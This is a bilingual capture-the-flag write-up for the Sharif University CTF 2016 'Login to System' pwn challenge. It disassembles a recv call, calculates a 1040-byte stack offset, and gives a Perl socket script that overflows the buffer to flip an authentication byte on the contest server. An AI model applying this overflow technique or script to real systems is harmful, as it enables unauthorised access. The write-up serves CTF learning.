Sharif University CTF 2016 -- Login to System (PWN 200)

EN:

It‘s easy to find out where is the bug :

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

when call the function recv(.text:0000000000400F50  ) , if the buf to large it will overwrite the stack rbp+var_20.

seeing the stack sataic:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

we can calculate out the length of buf:

haystack - var_20 = 0x430-0x20=0x410 = 1040

send content: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

the max length of the buf:

haystack - fd = 0x430 - 0x8 =1064

send contend can be: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can‘t create socket: $!";
connect(SOCK,$dest)                or die "Can‘t connect: $!";
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
send SOCK,"hi\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x 1041 . "\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
print $buf;
close SOCK;

CN:

用IDA的要Question, 很容易找到有问题的地方,

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

里recv,超长的会把rbp+var_20翻盖掉,再看栈区:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

从栈区可以计算出 buf的长度。

haystack - var_20 = 0x430-0x20=0x410 = 1040

发送的内容应该是: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

发送的内容buf最长可以是:

haystack - fd = 0x430 - 0x8 =1064

发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can‘t create socket: $!";
connect(SOCK,$dest)                or die "Can‘t connect: $!";
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
send SOCK,"hi\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x 1041 . "\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
print $buf;
close SOCK;
时间: 2024-08-26 17:24:54

Sharif University CTF 2016 -- Login to System (PWN 200)的相关文章

Windows Server 2016 + SCO 2016 安装及配置介绍

我们都知道System center 是微软的一套产品,通过System center 我们可以提高的IT架构管理,当然是用起来对比较有经验的管理人员来说还是很方便的.但是对于一个经验不足的IT来说会困难重重.当然困难对与一个管理员来说是需要面对的,因为在运维工作中肯定会有一些突发事件,所以管理员的承受能力都是必不可少的,在此就不多说了,我们首先看看Systemc Center 包含服务:需要注意的是现在微软的SC服务已经更新到了2016版本. System Center  App Contro

FNDCPASS Troubleshooting Guide For Login and Changing Applications Passwords

In this Document   Goal   Solution   1. Error Starting Application Services After Changing APPS Password Using FNDCPASS   2. Log In Fails With: You Don't Have Permission To Access /pls/.../fnd_icx_launch.launch On This Server   3. APP-FND-01564: ORAC

Linux pwn入门教程(0)——环境配置

作者:[email protected] 0×00前言 作为一个毕业一年多的辣鸡CTF选手,一直苦于pwn题目的入门难,入了门更难的问题.本来网上关于pwn的资料就比较零散,而且经常会碰到师傅们堪比解题过程略的writeup和没有注释,存在大量硬编码偏移的脚本,还有练习题目难找,调试环境难搭建,GDB没有IDA好操作等等问题.作为一个老萌新(雾),决定依据Atum师傅在i春秋上的pwn入门课程中的技术分类,结合近几年赛事中出现的一些题目和文章整理出一份自己心目中相对完整的Linux pwn教程.

2016年中国大学生程序设计竞赛(合肥)-重现赛(感谢安徽大学)(5/10)

1001: 传递要求 a->b->c && a->c 我的做法就是利用bitset预处理出x点可达点集,与可达到x点的点集 那么如何检验这个图是否传递:枚举完b和,枚举可达b点集中的点x,那么点x可达点集要包含c点集,这个利用bieset可以快速判断 整个做法就是(n^2) #include<cstdio> #include<cstring> #include<iostream> #include<sstream> #inc

【PL/SQL编程基础】

[PL/SQL编程基础]语法: declare 声明部分,例如定义变量.常量.游标 begin 程序编写,SQL语句 exception 处理异常 end: / 正斜杠表示执行程序快范例 -- Created on 2016/8/22 by VITAS declare 定义变量 v_num number; v_eno number; v_ename varchar2(10); begin v_num:=234; v_eno:=&empno; 接收输入变量 select ename into v_

{ICIP2014}{收录论文列表}

This article come from HEREARS-L1: Learning Tuesday 10:30–12:30; Oral Session; Room: Leonard de Vinci 10:30  ARS-L1.1—GROUP STRUCTURED DIRTY DICTIONARY LEARNING FOR CLASSIFICATION Yuanming Suo, Minh Dao, Trac Tran, Johns Hopkins University, USA; Hojj

springmvc的ModelAndView的简单使用

参考:http://blog.csdn.net/zzjjiandan/article/details/34089313 先上图: MAVTest.java 1 package com.wyl; 2 3 import java.util.ArrayList; 4 import java.util.HashMap; 5 import java.util.List; 6 import java.util.Map; 7 8 import org.springframework.stereotype.Co

有道云笔记自动签到

主体步骤: 笔记本装fiddler,开热点: 手机连接,设置代理为fiddler监听的8888端口: 抓app的包.注意导入fiddler 的证书到手机,否则app是不给联网的. 分析app登录.签到时都干了什么. 更多关于fiddller参考: http://chessman-126-com.iteye.com/blog/2001501 http://www.cnphp6.com/archives/97865 http://www.cnblogs.com/mfryf/p/5028010.htm

有关于二进制漏洞和利用的碎碎念

有关于二进制漏洞和利用的碎碎念 划水作品 偷闲记录一下二进制方面的各种概念,各种原理,各种利用等等,方便过后查阅,也为之后的学习路线列一个大的框架,主要内容还是针对CTF中的pwn,实际漏洞也有这些方面,不过就需要花更多的精力慢慢硬磕了. 栈溢出 由于种种原因,这是本人学习时间最长的一种漏洞,学的时候还有乌云,学完... 栈溢出原理很简单,就是栈上的数据没有合理的被控制,从而使得输入数据超出它本应该在的范围,越界少的可能只是局部变量覆盖,多的就是劫持控制流,不同情况造成不同的后果. 栈溢出是二进